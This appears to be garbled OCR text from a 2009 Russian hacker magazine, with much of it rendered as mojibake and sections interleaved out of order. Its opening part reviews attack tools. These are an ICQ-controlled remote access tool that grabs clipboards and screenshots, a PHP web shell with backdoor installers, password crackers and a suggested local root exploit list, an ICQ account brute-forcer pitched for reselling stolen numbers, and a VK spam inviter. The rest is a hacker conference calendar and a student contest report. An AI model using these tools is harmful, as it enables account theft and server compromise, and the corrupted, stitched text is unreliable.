ñòîëå

- ShowStart — îòîáðàçèòü ìåíþ «Ïóñê»

- Hidestart — ñêðûòü ìåíþ «Ïóñê»

- ShowTaskBar — îòîáðàçèòü òàñêáàð

- HideTaskBar — ñêðûòü òàñêáàð

- ShowClock — îòîáðàçèòü ÷àñû

- HideClock — ñêðûòü ÷àñû

- TimePC — óçíàòü âðåìÿ þçåðà

- TimePowerPC — îòîáðàçèòü âðåìÿ ðà-

áîòû ñåàíñà þçåðà

- Command — ñïèñîê êîììàíä

- Cdo — îòêðûòü CD/DVD-ïðèâîä

- Ñdc — çàêðûòü CD/DVD-ïðèâîä

- Info — èíôîðìàöèÿ

- Off — âûêëþ÷èòü êîìï

- Reboot — ðåáóò êîìïà

- Msl — êëèê ëåâîé êíîïêîé ìûøè

- Msr — êëèê ïðàâîé êíîïêîé ìûøè

- Msm — êëèê ñðåäíåé êíîïêîé ìûøè

- Vk_enter — íàæàòü enter

- Vk_escape — íàæàòü escape

- Vk_space — íàæàòü space

- DriveList — îòîáðàçèòü ñïèñîê äèñ-

êîâ

- Getclb — ïîëó÷èòü áóôåð îáìåíà 

(òåêñò)

- Setclb: — äîáàâèòü â áóôåð îáìåíà 

(òåêñò)

- Close — çàêðûòü êëèåíò

- GetProc — ïîëó÷èòü ñïèñîê ïðîöåññîâ

- ConPass — ïàðîëü ñîåäèíåíèÿ

- Author — èíôà î ðàçðàáîò÷èêàõ

- Filelist: — ñïèñîê äèðåêòîðèé è 

ôàéëîâ â âûáðàííîì êàòàëîãå

- Setcursor: — ïåðåìåùåíèå êóðñîðà 

ìûøè â óêàçàííóþ òî÷êó

- Delfile: — óäàëåíèå ôàéëà

- Killdir: — óäàëåíèå êàòàëîãà

- Open: — îòêðûòü ôàéë

- Uploadfile: — çàëèòü ôàéë íà FTP

- NumberHD: — çàäàòü æåñòêèé äèñê

- OpenUrl: — îòêðûòü ññûëêó â äåôîëò-

íîì áðàóçåðå

- SetWall: — ïàðàìåòðû ðàáî÷åãî ñòîëà

- KillProc: — óáèòü ïðîöåññ

- GetPathProc — ïóòü ïðîöåññà

- OpenTXT: — ïðèñëàòü òåêñò èç ôàéëà

- ScreenShot:<êà÷åñòâî> — ïðèñëàòü 

ñêðèíøîò ýêðàíà íà FTP

- Mail:<êîìó>,<îò êîãî>,<èìÿ îò 

êîãî>,<òåìà ïèñüìà>,<òåêñò ïèñüìà> — 

îòïðàâèòü ïèñüìî íà ìûëî

- MessageWarn:<Òåêñò>,<Çàãîëîâîê> — 

âûâåñòè íà äåñêòîï þçåðà ñîîáùåíèå :) 

- CopyFile:<Ñòàðûé ôàéë>,<Íîâûé 

ôàéë> — ñêîïèðîâàòü ôàéë

- CopyDir:<Ñòàðàÿ äèðåêòîðèÿ>,<Êóäà 

êîïèðîâàòü> — ñêîïèðîâàòü êàòàëîã

Утила обладает неслабым функционалом. 
Конечно, полноценно заменить гуишный 
интерфейс она не сможет, однако заменить 
консоль — вполне. 
P.S. Юзать тулзу или нет — решать тебе, сорцы 
найдешь на нашем диске :).

ПРОГРАММА: PHPBAG-}|{Y]{-SHELL
ОС: *NIX/WIN
АВТОР: WINNER13-ЖУК
Возвращаясь к старой доброй традиции — пуб-
ликации и описанию различных web-шеллов, 
должен отметить, что за последнее время мне 
попалось несколько интересных скриптов по-
добного рода. Уместить их все в одном выпуске 
Х-Тулз попросту невозможно, поэтому время от 
времени я буду выкладывать наиболее удачные 
экземпляры на нашем диске. В этот раз выбор 

пал на web-шелл под замысловатым названи-
ем «PHPbaG-}|{y]{-sHell». Написан он на PHP и 
весит порядка 100 Кб. Из основных возможнос-
тей следует выделить:

- Ôàéëîâûé ìåíåäæåð - íàëè÷èå âîçìîæ-

íîñòè âèçóàëüíîãî óïðàâëåíèÿ ôàéëà-

ìè, îòêðûòèå/÷òåíèå/ðåäàêòèðîâàíèå/

çàãðóçêà/õåêñ-ïðîñìîòð/êîïèðîâàíèå/

ïåðåìåùåíèå/óäàëåíèå ôàéëîâ

- Àïëîàä ôàéëîâ — îãðàíè÷åíèå ïî ðàç-

ìåðó (2 ìåòðà)

- Ðåäàêòîð — ðåäàêòèðîâàíèå ëþáûõ 

ôàéëîâ, ïðè íàëè÷èè ñîîòâåòñòâóþùèõ 

ïðàâ

- CMD — êîíñîëü

- Áýêäîðû — âîçìîæíîñòü óñòàíîâêè â 

ñèñòåìå ïåðë/åõå bind-ôàéëîâ

- Safe-mode — ôóíêöèè âåá-øåëëà ïðè 

ðàáîòå ñ Safe_Mode ON

- SQL - ñòàíäàðòíûé ìîäóëü ðàáîòû ñ 

áàçîé äàííûõ

- FTP - àíîíèìíûé êîííåêò ñ øåëà íà 

ôòï-ñåðâåð

- Mail — âîçìîæíîñòü àíîíèìíîé îò-

ïðàâêè ïèñåì, à òàêæå âîçìîæíîñòü 

ðàññûëêè ïî ñîáñòâåííîìó ìàèë-ëèñòó

- Evaler - èíòåðïðåòàòîð ïõï-êîäà â 

ñèñòåìå

- Ñêàíåðû — ñêàíèðîâàíèå ñåðâåðà íà 

îòêðûòûå ïîðòû, ÷àñòî èñïîëüçóåìûå 

ïàðîëè, etc

- Êðýêåðû — áðóò ïàññîâ ïî ñëîâàðþ è 

ìåòîäîì ïåðåáîðà (Hash /SMTP/POP3/

IMAP/FTP/SNMP/MySQL/MSSQL/HTTP 

Form/HTTP Auth)

- Pr0xy — âñòðîåííûé àíîíèìàéçåð

- Òóëçû — íàáîð ïîëåçíûõ óòèë, òà-

êèõ êàê: Whois, ãåíåðàöèÿ ôàéëîâ 

.htaccess/.htpasswd, etc

- Êîíâåðòàöèÿ — êîíâåðòèðîâàíèå 

ñòðîê â md5, sha1, hex, etc

Замена радмину на базе ICQ
Функциональный веб-шелл
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Кроме того, скрипт отображает максимально 
полную информацию о сервере, на котором 
размещен:

Server: blablabla.com (IP)

Operation system: Linux 

server.domain.com 2.6.18-92.1.18.

el5.028stab060.2 #1 SMP Tue Jan 13 

18:16:58 MSK 2008 i686

Web server application: 

Apache/2.2.3 (Red Hat)

CPU: Unknow

Disk status: Used spase: 22.47 GB 

Free space: 118.93 GB Total space: 

141.4 GB

User domain: Unknow

User name: DUM

UID — GID: 500 — 500

Recommended local root exploits: 

prctl, kmdx, newsmp, pwned, ptrace_

kmod, ong_bak

Passwd file: Readable

cPanel: Unknow (Log file: Not 

found)

PHP version: 5.1.6

Zend version: 2.1.0

Include path: ./usr/share/pear /usr/

share/php

PHP Modules: libxml xml wddx 

tokenizer (0.1) sysvshm sysvsem 

sysvmsg standard (5.1.6) SimpleXML 

sockets SPL shmop session Reflection 

pspell posix mime_magic (0.1) iconv 

hash (1.0) gmp gettext ftp exif (1.4 

$Id: exif.c,v 1.173.2.5 2006/04/10 

18:23:24 helly Exp $) date (5.1.6) 

curl ctype calendar bz2 zlib (1.1) 

pcre openssl apache2handler apc 

(3.0.19) dbase mysql (1.0) mysqli 

(0.1) PDO pdo_mysql (1.0.2) pdo_

sqlite (1.0.1)

Disabled functions: Nothing

Safe mode: OFF

Open base dir: OFF

DBMS:  MySQL

Еще одним достоинством web-шелла являет-
ся совместимость с win-системами, так что не 
придется напрягаться в поисках инструмента для 
управления ломаным виндовым сервером. 

ПРОГРАММА: .BRUTAL V.0.7.1
ОС: WINDOWS 2000/XP
АВТОР:  NTM
Если ты решил обзавестись красивым icq-
номерком, или же продажа уинов помогает 
тебе наскрести на пиво — без функциональ-
ного инструмента не обойтись. Именно таким 
является утила .Brutal, недавно обновившаяся 
до версии 0.7.1. Тулза представляет из себя 
многопоточный брутфорсер асек с обилием 
полезных фичей:

1. Ïîääåðæêà ñîêñîâ/ïðîêñèêîâ: 

https, socks4, socks5

2. Âîçìîæíîñòü àâòîìàòè÷åñêîé î÷èñò-

êè äîõëûõ ïðîêñèêîâ ïî òàéìåðó

3. Âîçìîæíîñòü ðó÷íîé î÷èñòêè ïðîê-

ñè-ëèñòîâ: Cleanup All, Cleanup 

тулза займет достойное место в твоем наборе 
повседневных утил.

ПРОГРАММА: PUHOVOI INVITER
ОС:WINDOWS 2000/XP
АВТОР:  ПУХОВОЙ
С ростом популярности социальных сетей 
растет и количество разнообразного софта для 
них. На страницах журнала я не раз выклады-
вал интересные утилы подобного рода, поэтому 
перейдем к софту. Сегодня я хочу обратить 
твое внимание на тулзу под названием Puhovoi 
Inviter. Прога предназначена для автомати-
зации инвайтинга новых юзеров в группы на 
www.vkontakte.ru. Из особенностей утилы 
можно выделить:

• Ïîääåðæêà ìíîãîïîòî÷íîñòè (<= 500 
ïîòîêîâ)

• Âîçìîæíîñòü ðàáîòû ÷åðåç ac-
service (ñåðâèñ àâòîìàòè÷åñêîãî ðàñ-

ïîçíàâàíèÿ êàï÷è)

• Âîçìîæíîñòü èñïîëüçîâàíèÿ ïðîêñè-
ëèñòà

• Âñòðîåííûé ïðîêñè-÷åêåð 
• Ôóíêöèÿ ñîõðàíåíèÿ íàñòðîåê
• Ôóíêöèÿ ïðîâåðêè áàëàíñà â ac-
service

• Âåäåíèå ïîëíîãî ëîãèðîâàíèÿ âñåõ 
äåéñòâèé óòèëû

Стоит отметить, что рассылка приглашений — 
не единственная функция утилы, ибо функцио-
нал ее намного шире:

• Ïðèãëàøåíèå íîâûõ þçåðîâ â ãðóïïó 
ïî ñïèñêó ID, ñ èñïîëüçîâàíèåì 1-ãî 

èëè íåñêîëüêèõ àêêàóíòîâ

• Âåäåíèå áëýê-ëèñòà — â ñëó÷àå, åñëè 
þçåð çàïðåòèë îòïðàâêó ïðèãëàøåíèé, 

îí çàíîñèòñÿ â áëýê-ëèñò

• Âñòðîåííûé ID-ïàðñåð — â ñëó÷àå îò-
ñóòñòâèÿ ID-ëèñòà åãî ìîæíî ñîáðàòü 

ñ ïîìîùüþ óòèëû, èñïîëüçóÿ ðàçíîîá-

ðàçíûå êðèòåðèè ïîèñêà: ïîë, ãîðîä, 

ñòðàíà, ãîä ðîæäåíèÿ, ïîëîæåíèå, 

îíëàéí/îôôëàéí, íîâûå/ñòàðûå àíêåòû

• Âîçìîæíîñòü ðàáîòû ñ ãðóïïîé ïóòåì 
óäàëåíèÿ íåàêòèâíûõ þçåðîâ ñ äàëü-

íåéøèì äîáàâëåíèåì èõ â áëýê-ëèñò

• Âñòðîåííûé ÷åêåð àêêàóíòîâ — ïîç-
âîëÿåò ïðî÷åêàòü íà âàëèäíîñòü ñïè-

ñîê èìåþùèõñÿ àêêàóíòîâ

Софтина представляет собой удобный набор, со-
стоящий из небольших утил. Так что, смело сливай 
ее с нашего диска — пригодится еще не раз.z

HTTPs, Cleanup Socks4, Cleanup 

Socks5

4. Ðåãóëèðîâêà êîëè÷åñòâà ïîòîêîâ

5. Ôóíêöèÿ TimeOut, ïåðâîå ïîëå — 

òàéìàóò íà ïîäêëþ÷åíèå (â ñåêóíäàõ), 

âòîðîå — òàéìàóò íà ÷òåíèå/çàïèñü (â 

ñåêóíäàõ)

Утила использует несколько файлов:
• source.txt — здесь лежат записи вида 
уин;пасс, например:

123456;qwerty1

111122;qwerty2

111222;qwerty3

111112;qwerty4

• list.txt — здесь указываем списки для брута, 
каждый из указанных файлов должен содер-
жать записи вида уин;пасс:

source1.txt

source2.txt

source3.txt

• servers.txt — сюда вбиваем список ip:port 
ICQ-серверов, рекомендуется указывать порт 
443, например:

64.12.200.89:443

205.188.251.43:443

205.188.251.11:443

205.188.251.6:443

205.188.251.16:443

205.188.251.21:443

205.188.251.26:443

205.188.251.31:443

• https.txt — список проксиков (ip:port)
• socks4.txt — список сокс4 (ip:port)
• socks5.txt — список сокс5 (ip:port)
• good.txt — сюда записываются валидные 
пары уин;пасс
• config.txt — конфиг утилы, создается автома-
тически, записи вида:

Threads = 100

ConnectionTimeout = 15

ReadTimeOut = 10

CleanUp = 5

Словом, если ты увлекаешься брутом асек — 

Удобный инструмент для брута асек :)

Функциональный инвайтер

XÀÊÅÐ  09  /129/  09



ПАРА СЛОВ О DEFCON
Вместо вступления позволь рас-
сказать тебе, что совсем недав-
но в славном городе Лас-Вегасе 
(в том самом, где блек-джек и 
падшие женщины) отгремела 
одна из главных хакерских 
тусовок планеты — Defcon. Это 
мероприятие на протяжении вот 
уже 17 лет (вдумайся в цифру) 
неизменно проводится именно 
в Вегасе и собирает тысячи 
человек со всего мира. Что 
забыли там все эти люди? Они 
приезжают на одно из круп-
нейших хакерских собраний на 
нашем шарике, и год от года оно 
оправдывает их ожидания.
Чего и кого здесь только не 
встретишь — ведущие специ-
алисты в области информаци-
онной безопасности, именитые 
хакеры, крэкеры и иже с ними, 

представители крупнейших 
IT-компаний, юристы, пред-
ставители «органов» и толпы 
журналистов. Занятие на Defcon 
находится всем. Кто-то слушает 
лекции (а кто-то их читает :)), 
кто-то обзаводится полезны-
ми связями, кто-то участвует 
во всевозможных хакерских 
конкурсах, а кто-то предпочи-
тает нехакерские, но не менее 
веселые состязания.
Любопытно и то, что Defcon — 
мероприятие в некотором роде 
элитарное. Здесь собираются 
именитые гуру и признанные 
гении, и за 17 долгих лет конфе-
ренция не опопсела ни на йоту, 
«левых» скрипт-киддисов ты тут 
точно не встретишь.  
Звучит чертовски заманчиво, 
верно? Что ж, хотя громкие ме-
роприятия вроде Defcon, Black 

Hat и CeBIT уже прошли, не ими 
одними жив наш брат.           
   
FRHACK 01
КОГДА: 7-11 ñåíòÿáðÿ
ГДЕ: Áåçàíñîí, Ôðàíöèÿ 
САЙТ: www.frhack.org
Французская конференция 
FRHACK позиционируется как 
первая международная конфа, 
созданная хакерами для хакеров. 
Ребята, конечно, немного льстят 
себе, но это, в общем-то, прости-
тельно. 
Название FRHACK происходит от 
сплава названий двух известных 
езинов — французского «FrHack» 
и легендарного «Phrack». В этом 
году конференция состоится 
впервые, на что нам явно намека-
ет приставка 01 в названии. Дело 
в том, что французы недавно 
сообразили, что в их стране нет 

ни одного крупного и регулярного 
мероприятия такого рода, и им 
стало обидно. Но вместо того 
чтобы сидеть и расстраиваться, 
придумали и организовали себе 
FRHACK.
Ожидается, что конфа возь-
мет с места в карьер и примет 
порядка полутора тысяч гостей 
из разных стран мира (офици-
альные языки мероприятия 
— английский и французский). 
За 4 дня эти люди собираются 
обсудить самые разнообразные 
топики  — на повестке дня темы 
от руткитов и криптографии до 
хардварь хакинга и вопросов 
безопасности SCADA-систем. 
Среди докладчиков обещают 
быть гуру свободного ПО Ричард 
Столлман, Девид Халтон aka 
h1kari и другие, не менее инте-
ресные личности.         

XÀÊÅÐ  09  /129/  09 076

Представляем твоему вниманию календарь всевозможных конференций, фо-
румов, фестивалей, демо-пати и других интересных событий на остаток теку-
щего года. Читай, выбирай и вперед — социализироваться!

1)Билл Гейтс на форуме RSA
2) Такая темная комната была оборудована на CCC
3)Обычная картина для любой IT-конференции
4) Аудитория на DeepSec

Где 
отвисать 
остаток 
года
Календарь хакерских тусовок 
на осень-зиму 2009

СЦЕНА
  МАРИЯ «MIFRILL» НЕФЕДОВА / MIFRILL@REAL.XAKEP.RU /
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HACKER HALTED USA 
Когда: 20-25 ñåíòÿáðÿ
Где: Ìàéÿìè, ÑØÀ
Сайт: www.hackerhalted.com
Эта конфа — детище «Междуна-
родного совета консультантов по 
вопросам электронной ком-
мерции», а если сокращенно — 
EC-Council. Чуваки, в частности, 
известны тем, что имеют кучу 
всевозможных сертификатов, в 
том числе и законный сертифи-
кат «этичных хакеров». Что это 
такое? Все очень просто — их 
нанимают, чтобы они не страшно 
и не больно все взломали, 
обнаружив по ходу дыры и баги, 
которые потом сами же и помогут 
закрыть.
Hacker Halted проводится уже 
много лет в самых разных стра-
нах — от Дубая до США, и мероп-
риятие ориентировано далеко 
не на казуалов. Так, в этом году 
в США ожидаются, например, 
выступления основателя rootkit.
com Грега Хоглунда и профес-
сора Говарда Шмидта — экс 
специального советника Белого 
дома по вопросам безопасности 
в киберпространстве. Кроме 
них будет еще 46 (!) докладчи-
ков. Пройдут в рамках Hacker 
Halted и различные семинары и 
тренинги, в том числе, посвя-
щенные «этичному хакингу». Не 

обойдется и без уже традици-
онных игр по «захвату флага» и 
многого, многого другого. Ску-
чать определенно не придется.

RAID
Когда: 23-25 ñåíòÿáðÿ
Где: Ñåí-Ìàëî, Ôðàíöèÿ
Сайт: www.rennes.supelec.fr/
RAID2009
Еще одна французское ме-
роприятие, только в отличие 
от FRHACK — с многолетней 
историей: «Рэйду» уже 12 лет. По 
сути, RAID не хакерская тусовка, 
но весьма серьезный междуна-
родный симпозиум, на котором 
ежегодно собираются ведущие 
исследователи и специалисты, 
представители компаний-лиде-
ров индустрии, высшие долж-
ностные лица и т.д. Ученые мужи 
съезжаются во Францию с целью 
обмена опытом по очень широ-
кому спектру вопросов, посвя-
щенных защите систем и данных 
в любых видах и формах. На 
перечисление запланированных 
к обсуждению топиков не хватит 
никакого места, к тому же, можно 
ограничиться и более общей 
формулировкой — все передовые 
достижения киберпреступников 
и методы борьбы с ними будут 
обсуждать именно здесь.       

HACK IN THE BOX 
Когда: 5-8 îêòÿáðÿ
Где: Êóàëà-Ëóìïóð, Ìàëàéçèÿ
Сайт: www.hackinthebox.org
Не успел съездить отдохнуть 
этим летом? Тогда у тебя есть 
возможность совместить отдых 
с посещением интересного 
форума — крупнейшая в Азии 
конференция Hack In The Box в 
этом году пройдет в Малайзии, 
в Куала-Лумпуре. Будет тебе и 
отдых, и хак-фестиваль в лучших 
олдскульных традициях.
Седьмая по счету HITB не из-
менит себе — в программе, как 
всегда, заявлены разнообразные 
конкурсы по взлому и именитые 
спикеры, среди которых Джо 
Грант — президент Grand Idea 
Studio и основатели ресурса 
wikileaks.org. Также заплани-
рован целый ряд тренингов. 
Как показывают предыдущие 
годы — на HITB просто не бывает 
неинтересно, чересчур пафосно 
или пресно.

INFOSECURITY 
MOSCOW 
Когда: 29 ñåíòÿáðÿ — 
1 îêòÿáðÿ

Где: Ìîñêâà, Ðîññèÿ
Сайт: infosecuritymoscow.com
Читаешь и думаешь: «а что же у 
нас»? У нас тоже все в порядке. 

Например, шестая международная 
специализированная выставка-
конференция по информационной 
безопасности намечается. Состо-
ится она в Экспоцентре на Красной 
Пресне, в конце сентября — начале 
октября. Выставки Infosecurity 
проводятся по всему миру с 1996 
года, и их организация лежит на 
плечах компании Reed Exhibitions 
— мирового лидера в области про-
ведения такого рода мероприятий. 
В этом году в программе намечены 
доклады ведущих российских 
спецов в области IT-безопасности, 
технические семинары и бизнес-
секции. Среди основных топиков 
Infosecurity: обеспечение ИБ при 
ведении бизнеса, обсуждение 
закона о персональных данных, 
проблемы информационной безо-
пасности в банковском секторе, ИБ 
в беспроводных сетях и т.д.             

CHAOS 
COMMUNICATION 
CONGRESS 
Когда: 3-4 îêòÿáðÿ
Где: Áåðëèí, Ãåðìàíèÿ
Сайт: www.ccc.de
Одно из культовых и старейших 
хакерских сборищ на плане-
те — Chaos Communication 
Congress — проводится с 1984 
года! Все началось еще с хакер-
ской коалиции Chaos Computer 

Ì
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Club, появившейся в 80-х. Тогда 
основателям Chaos Computer 
Club подумалось, что непло-
хо бы организовать какое-то 
мероприятие для себя и своих 
единомышленников, где можно 
было бы встретиться и обсудить 
самое наболевшее и актуальное. 
В результате появился Chaos 
Communication Congress. 
CCC не только дожил до наших 
дней, но с годами лишь стал 
лучше. Кого здесь только не 
встретишь — ежегодно собирает-
ся, в среднем, 2000-3500 человек, 
среди которых и представители 
хак-сцены со всего мира, и разра-
ботчики ПО, и спецы по безопас-

ности, и другие интересные кадры. 
Как уже можно было понять, 
конференция не зацикливается 
на секьюрити-вопросах — об-
суждают все: новые разработки и 
технологии, драконовские законы, 
хвастаются собственноручно на-
писанными тулзами, обзаводятся 
интересными знакомствами. CCC 
традиционно открыта для всех 
желающих, и о ее посещении еще 
никто не жалел :).

SECTOR
Когда: 5-7 îêòÿáðÿ
Где: Òîðîíòî, Êàíàäà
Сайт: www.sector.ca

Думаешь, если в Канаде плот-
ность населения составляет 
всего 3.29 чел./км2, а большую 
часть страны занимает суровая 
северная природа, то здесь нет 
хороших хак-конференций? Ко-
нечно, есть, и SecTor яркий тому 
пример. Более того — официаль-
ный сайт SecTor очень нескромно 
заявляет, что в октябре в Торонто 
соберутся самые изощренные и 
«темные» умы со всего нашего 
голубого шарика. «Злые гении» 
собираются обсудить самые ост-
рые проблемы нашего компью-
терного настоящего, в основном 
концентрируясь, конечно же, на 
вопросах сферы безопасности. 

Докладчики-эксперты из США 
и Канады расскажут и покажут 
немало интересного, а заплани-
рованные тренинги (например, 
«Понимание атак через веб-
приложения»), видимо, будут 
настолько хороши, что за участие 
в них просят, ни много, ни мало, 
тысячу вечнозеленых денег.   
    
RSA CONFERENCE 
(EUROPE) 
Когда: 20-22 îêòÿáðÿ
Где: Ëîíäîí, Âåëèêîáðèòàíèÿ 
Сайт: www.rsaconference.com
Очень серьезное мероприятие, 
стоящее на «двух китах» — инфор-

мационной безопасности и крип-
тографии. RSA ежегодно проходит 
как в странах Европы и Азии, так 
и в США, но к нам сейчас ближе 
«европейская версия» форума, 
которая состоится в Лондоне, в 
20-х числах октября. Интересно, 
что каждый раз RSA проходит под 
знаком какой-то известной исто-
рической личности, выбор которой 
во многом определяет уклон всего 
мероприятия. В прошлом году это 
был Алан Тьюринг, а в этом выбор 
пал на Эдгара Алана По. 
На RSA традиционно выступят 
видные IT-деятели, среди кото-
рых есть и эксперты с мировыми 
именами, и директора огромных 

компаний. Вопросы обсуждаются 
серьезные и, что называется, «на 
высшем уровне». RSA тот нечаст-
ный случай, когда за меропри-
ятием вполне можно последить 
удаленно, не посещая его лично. 
Если ты, конечно, не испытыва-
ешь острого желания посмотреть 
на «сильных мира сего» своими 
глазами.         

MS BLUEHAT 
Когда: 22-23 îêòÿáðÿ
Где: ÑØÀ 
Сайт: www.microsoft.com/
technet/security/bluehat/default.
mspx

Секьюрити-конференция ком-
пании Microsoft с забавным для 
русскоговорящих людей назва-
нием BlueHat проводится дваж-
ды в год, и осенне-зимняя уже 
на подходе — состоится в конце 
октября. Участники мероприятия 
гордо именуют себя «голубыми 
шляпами» (для уменьшения 
шокового эффекта в наших СМИ 
их обычно зовут «синими»), что 
на самом деле не более чем ана-
логия с этичными хакерами White 
hat и пофигистами Black hat.
На BlueHat v9 собираются 
поговорить о широком спектре 
проблем, среди топиков заяв-
лены мобильные\беспроводные 
девайсы и малварь всех мастей, 
реверсный инжиниринг и созда-
ние эксплойтов и другие нехоро-
шие вещи. Словом, традиционно 
для Microsoft — будет небезын-
тересно, но очень культурно и «в 
рамках».        
   
TOORCON 
Когда: 23-25 îêòÿáðÿ
Где: Ñàí-äèåãî, ÑØÀ
Сайт: www.toorcon.org
Если у тебя нет желания слушать 
«синих шапок» на BlueHat, вот 
тебе альтернатива — ToorCon, 
проходящий почти в то же самое 
время в солнечном Сан-Диего. 
ToorCon конференция старая, 
известная, с богатой 11-летней 
историей. Мероприятие начи-
налось как тусовка для довольно 
узкого круга специалистов по 
безопасности и в первые годы 
собирало всего порядка 300-500 
человек, но на сегодняшний день 
ToorCon вышел на совсем иной 
уровень. Так же, как и Defcon, эта 
конференция сумела с годами не 
растерять своего уникального 
духа и остается весьма «камер-
ной», непафосной и интересной.    

XÀÊÅÐ  09  /129/  09 078

1 2

СЦЕНА

КАЖДЫЙ РАЗ RSA ПРОХОДИТ ПОД ЗНАКОМ КА-
КОЙ-ТО ИЗВЕСТНОЙ ИСТОРИЧЕСКОЙ ЛИЧНОС-
ТИ, ВЫБОР КОТОРОЙ ВО МНОГОМ ОПРЕДЕЛЯЕТ 
УКЛОН ВСЕГО МЕРОПРИЯТИЯ. В ПРОШЛОМ 
ГОДУ ЭТО БЫЛ АЛАН ТЬЮРИНГ, А В ЭТОМ ЭДГАР 
АЛАН ПО.
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SOFTOOL 
Когда: 27-30 îêòÿáðÿ
Где: Ìîñêâà, Ðîññèÿ
Сайт: www.softool.ru
Еще одно «наше» мероприятие 
— ежегодная выставка инфор-
мационных и коммуникацион-
ных технологий Softool. Один из 
старейших в России форумов 
такого рода в этом году отметит 
свой 20-летний юбилей. В рам-
ках Softool пройдут всероссийс-
кая конференция «Электронное 
государство XXI века», третья 
международная конференция 

«Стандартизация информаци-
онных технологий и интеропе-
рабельность. SITOP’2009», круг-
лый стол с участием главных 
конструкторов информатизации 
регионов РФ и руководителей 
ИТ-компаний, национальный 
форум «Информационное 
общество, электронное госу-
дарство, электронное прави-
тельство», секция «Развитие ПО 
с открытым кодом в интересах 
информационного общества» и 
т.д. Помимо перечисленного, на 
Softool состоится демонстрация 

различного ПО, пройдут много-
численные пресс-конференции, 
мастер-классы, ток-шоу, кон-
курсы, лотереи, круглые столы 
с представителями отечествен-
ной промышленности и многое, 
многое другое.

DEEPSEC
Когда: 17-20 íîÿáðÿ
Где: Âåíà, Àâñòðèÿ
Сайт: deepsec.net
Ежегодная европейская конфе-
ренция DeepSec, как ни странно, 
единственная из всех в этом 

списке, на чьем сайте сказано, 
что организаторы будут рады 
приветствовать на мероприя-
тии представителей хакерского 
андеграунда :). Также DeepSec на-
зывает своей целевой аудиторией 
секьюрити-профессионалов, раз-
работчиков софта, админов всех 
мастей и высших должностных 
лиц. Главной темой конфы в этом 
году станут всевозможные «скры-
тые угрозы», то есть эксплойты, 
руткиты и другие проблемы ИБ, 
недооцененные в силу своей 
незаметности.z
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1)Машина «Энигма» с RSA 2008, посвященной 
Тьюрингу
2) HITB ‘08. Не только ломают, но и создают!
3)Кусочек стенда с Softool 2007
4)Не желаешь что-нибудь взломать? :)
5)Толпа на Defcon



 

СТРУКТУРА 
IMAGINE CUP
В этом году Imagine Cup проходил 
в девяти категориях, названия 
большинства из которых не требуют 
перевода:
• Software Design
• Embedded Development
• Game Development
• IT Challenge
• Robotics & Algorithm 
• Mash Up
• Photography
• Short Film 
• Design

Главная, основная и исторически 
самая престижная категория — это 
Software Design. Об этом легко 
судить даже по количеству фина-
листов, приглашенных на финал: 
68 команд. Вторая по численности 
участников категория — Embedded 
Development — собрала только 20. 
Россия в этом году была представ-
лена двумя командами: Vital Lab и 
Team Russia, выступавшими, соот-
ветственно, в категориях Software 
Design и Embedded Development.

КОМАНДА VITAL LAB
Команда Vital Lab состоит из 
четырех нижегородских студентов 

ННГУ им. Лобачевского: Максима 
Бовыкина, Дениса Гнатюка, Алек-
сея Клишина и Сергея Федорова. 
Под руководством своего друга и 
научрука Сергея Сидорова ребята 
разработали систему «ViVa» для 
предотвращения и борьбы с вирус-
ными эпидемиями.
Дело в том, что в настоящий момент 
эпидемиологи в России и прак-
тически по всему миру работают 
по старинке: собирают бумажные 
анкеты с пациентов, вручную обра-
батывают тонны бумаги и руками же 
строят из этого выводы о причинах 
эпидемии и способах борьбы с 
ней. Такой подход — настоящий 
архаизм, неэффективный и мед-
ленный. Команда Vital Lab решила 
попытаться помочь человечеству и 
разработала электронную систему 
для борьбы с эпидемиями, которая 
не только автоматизирует все 
рутинные процессы, но и исполь-
зует современные алгоритмы для 
поиска групп эпидемиологического 
риска, очага инфекции и т.д.
Проект представляет собой доста-
точно сложную систему, настоящий 
программный комплекс, состоящий 
из трех основных подсистем:
• ViVa Health Tracker 
Этот модуль использует алгоритмы 

машинного обучения и позволяет 
определять группу риска, то есть 
группу людей, риск заболеть кото-
рых наиболее велик. При помощи 
специальных устройств осущест-
вляется мониторинг показателей 
их здоровья, что позволяет выявить 
момент начала заболевания и 
быст ро принять меры по лечению.
• ViVa Pesthole Finder
На основе данных, полученных 
от заболевших людей с помощью 
специального анкетирования, под-
система, используя статистический 
подход, позволяет определить очаг 
инфекции. Информация о текущей 
эпидемиологической обстановке 
доступна в реальном времени 
эпидемиологу, который может неза-
медлительно предупредить людей 
об опасности через подсистему 
оповещения.
• ViVa Alert
Подсистема оповещения, состоя-
щая из Windows Gadget, веб-пор-
тала и приложения для мобильных 
устройств, незамедлительно 
инфор - мирует людей об опасности. 
С ее помощью каждый пользова-
тель может получить актуальную 
информацию о текущей эпидеми-
ологической обстановке в любом 
регионе земного шара.

КОМАНДА 
SOUNDSTREAMERS
Вторая российская команда 
SoundStreamers представляла 
МГУ и участвовала в соревно-
вании Embedded Development. 
Состав команды: Ярослав Третья-
ков, Михаил Яковлев и Юрий Жай-
воронок. В категории Embedded 
Development участникам нужно 
было разработать систему на 
базе Embedded PC eBox-4300: 
миниатюрного компьютера с за-
паянным процессором, памятью, 
всеми нужными контроллерами 
и т.д. На этот девайс ставится 
Windows Embedded CE, после 
этого система конфигурируется и 
пишется управляющая «прошив-
ка», основная программа для 
реализации задумки.
У ребят была достаточно инте-
ресная идея: сделать концепт 
доступной системы для цифрового 
стриминга звука, чтобы можно 
было лить на колонки звук с любых 
устройств через существующую 
сетевую и wi-fi инфраструктуру, 
не подключая никаких дополни-
тельных кабелей. В их концепте 
колонки обыкновенными звуко-
выми кабелями подключаются к 
embedded-девайсам, а те, в свою 
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Imagine Cup — крупнейшее мировое студенческое IT-состязание, объединив-
шее в этом году 300 000 студентов из 142 стран мира. На финальное соревно-
вание в Каире прибыло 148 команд, которые приехали бороться за мировую 
славу, престиж своей страны и, в качестве дополнения — за призовой фонд, 
состоящий из $288 000.
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очередь, по витой паре подключа-
ются к домашнему роутеру. На этом 
этапе хардварный сетап можно 
считать законченным: выполнив 
это один раз, в будущем можно 
с использованием клиентского 
софта лить на колонки звук, при 
этом абсолютно неважно, какой 
источник звука используется: 
стационарный комп, ноутбук или 
смартфон. И никаких проводов 
не нужно, ведь используется уже 
существующая инфраструктура.

СОРЕВНОВАНИЯ
Imagine Cup — это во многом кон-
курс презентаций. «Состязания» 
проходят в несколько раундов: все 
команды по специально состав-
ленному расписанию презентуют в 
полузакрытом режиме свой проект 
коллегии компетентных судей, а 
те, в свою очередь, разносторонне 
оценивают проекты, выставляя 
оценки по разным критериям.
Соответственно, на первый 
